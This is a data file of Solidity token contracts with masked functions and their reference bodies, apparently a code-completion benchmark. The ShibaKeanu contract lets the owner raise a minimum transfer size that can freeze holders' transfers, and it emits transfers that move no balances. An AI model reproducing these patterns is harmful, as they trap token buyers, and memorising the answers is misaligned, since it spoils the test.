struct sUserInfo {
uint256 balance;
bool lock;
mapping(address => uint256) allowed;
}
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => sUserInfo) user;
event Burn(uint256 value);
function () public payable {
revert();
}
function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal view returns (bool) {
require(_to != address(this));
require(_to != address(0));
require(user[_from].balance >= _value);
if(_lockCheck) {
require(user[_from].lock == false);
}
}
function lock(address _owner) public onlyManagers returns (bool) {
require(user[_owner].lock == false);
user[_owner].lock = true;
return true;
}
function unlock(address _owner) public onlyManagers returns (bool) {
require(user[_owner].lock == true);
user[_owner].lock = false;
return true;
}
<FILL_FUNCTION>
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require(_value == 0 || user[msg.sender].allowed[_spender] == 0);
user[msg.sender].allowed[_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
validTransfer(_from, _to, _value, true);
require(_value <= user[_from].allowed[msg.sender]);
user[_from].balance = user[_from].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
validTransfer(msg.sender, _to, _value, true);
user[msg.sender].balance = user[msg.sender].balance.sub(_value);
user[_to].balance = user[_to].balance.add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return user[_owner].balance;
}
function lockState(address _owner) public view returns (bool) {
return user[_owner].lock;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return user[_owner].allowed[_spender];
}
} |
require(_value <= user[msg.sender].balance);
user[msg.sender].balance = user[msg.sender].balance.sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_value);
return true;
| function burn(uint256 _value) public onlyOwner returns (bool) | function burn(uint256 _value) public onlyOwner returns (bool) |
54589 | ShibaKeanu | approve | contract ShibaKeanu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Shiba Keanu Token';
string private _symbol = 'ShibNu';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10000 * 10**9 * 10**9;
uint256 public _totalFees = 10 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {<FILL_FUNCTION_BODY> }
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function totalFees(uint256 maxTotalFees) external onlyOwner() {
_totalFees = _tTotal.mul(maxTotalFees).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(sender != owner() && recipient != owner())
require(amount > _totalFees, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract ShibaKeanu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Shiba Keanu Token';
string private _symbol = 'ShibNu';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 10000 * 10**9 * 10**9;
uint256 public _totalFees = 10 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
<FILL_FUNCTION>
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function totalFees(uint256 maxTotalFees) external onlyOwner() {
_totalFees = _tTotal.mul(maxTotalFees).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(sender != owner() && recipient != owner())
require(amount > _totalFees, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
_approve(_msgSender(), spender, amount);
return true;
| function approve(address spender, uint256 amount) public override returns (bool) | function approve(address spender, uint256 amount) public override returns (bool) |
5908 | TrineChain | transfer | contract TrineChain is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) locknum;
string public constant name = "TrineChain";
string public constant symbol = "TRCON";
uint public constant decimals = 18;
uint256 _Rate = 10 ** decimals;
uint256 public totalSupply = 1000000000 * _Rate;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Locked(address indexed to, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function TrineChain() public {
balances[owner] = totalSupply;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0) && newOwner != owner) {
owner = newOwner;
}
}
function lock(address _to, uint256 _amount) private returns (bool) {
require(owner != _to);
require(_amount >= 0);
require(_amount * _Rate <= balances[_to]);
locknum[_to]=_amount * _Rate;
Locked(_to, _amount * _Rate);
return true;
}
function locked(address[] addresses, uint256[] amounts) onlyOwner public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
lock(addresses[i], amounts[i]);
}
}
function distr(address _to, uint256 _amount) private returns (bool) {
require(owner != _to);
require(_amount > 0);
require(balances[owner] >= _amount * _Rate);
balances[owner] = balances[owner].sub(_amount * _Rate);
balances[_to] = balances[_to].add(_amount * _Rate);
locknum[_to] += lockcheck(_amount) * _Rate;
Transfer(owner, _to, _amount * _Rate);
return true;
}
function lockcheck(uint256 _amount) internal pure returns (uint256) {
if(_amount < 3000){
return _amount * 4/10;
}
if(_amount >= 3000 && _amount < 10000){
return _amount * 5/10;
}
if(_amount >= 10000 && _amount < 50000){
return _amount * 6/10;
}
if(_amount >= 50000 && _amount < 500000){
return _amount * 7/10;
}
if(_amount >= 500000){
return _amount * 8/10;
}
}
function distribute(address[] addresses, uint256[] amounts) onlyOwner public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
distr(addresses[i], amounts[i]);
}
}
function lockedOf(address _owner) constant public returns (uint256) {
return locknum[_owner];
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= balances[_from].sub(locknum[_from]));
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
} | contract TrineChain is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) locknum;
string public constant name = "TrineChain";
string public constant symbol = "TRCON";
uint public constant decimals = 18;
uint256 _Rate = 10 ** decimals;
uint256 public totalSupply = 1000000000 * _Rate;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Locked(address indexed to, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function TrineChain() public {
balances[owner] = totalSupply;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0) && newOwner != owner) {
owner = newOwner;
}
}
function lock(address _to, uint256 _amount) private returns (bool) {
require(owner != _to);
require(_amount >= 0);
require(_amount * _Rate <= balances[_to]);
locknum[_to]=_amount * _Rate;
Locked(_to, _amount * _Rate);
return true;
}
function locked(address[] addresses, uint256[] amounts) onlyOwner public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
lock(addresses[i], amounts[i]);
}
}
function distr(address _to, uint256 _amount) private returns (bool) {
require(owner != _to);
require(_amount > 0);
require(balances[owner] >= _amount * _Rate);
balances[owner] = balances[owner].sub(_amount * _Rate);
balances[_to] = balances[_to].add(_amount * _Rate);
locknum[_to] += lockcheck(_amount) * _Rate;
Transfer(owner, _to, _amount * _Rate);
return true;
}
function lockcheck(uint256 _amount) internal pure returns (uint256) {
if(_amount < 3000){
return _amount * 4/10;
}
if(_amount >= 3000 && _amount < 10000){
return _amount * 5/10;
}
if(_amount >= 10000 && _amount < 50000){
return _amount * 6/10;
}
if(_amount >= 50000 && _amount < 500000){
return _amount * 7/10;
}
if(_amount >= 500000){
return _amount * 8/10;
}
}
function distribute(address[] addresses, uint256[] amounts) onlyOwner public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
distr(addresses[i], amounts[i]);
}
}
function lockedOf(address _owner) constant public returns (uint256) {
return locknum[_owner];
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
<FILL_FUNCTION>
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= balances[_from].sub(locknum[_from]));
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
} |
require(_to != address(0));
require(_amount <= balances[msg.sender]);
require(_amount <= balances[msg.sender].sub(locknum[msg.sender]));
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
| function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) | function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) |
86086 | ERC721 | safeTransferFrom | contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) internal _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap internal _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
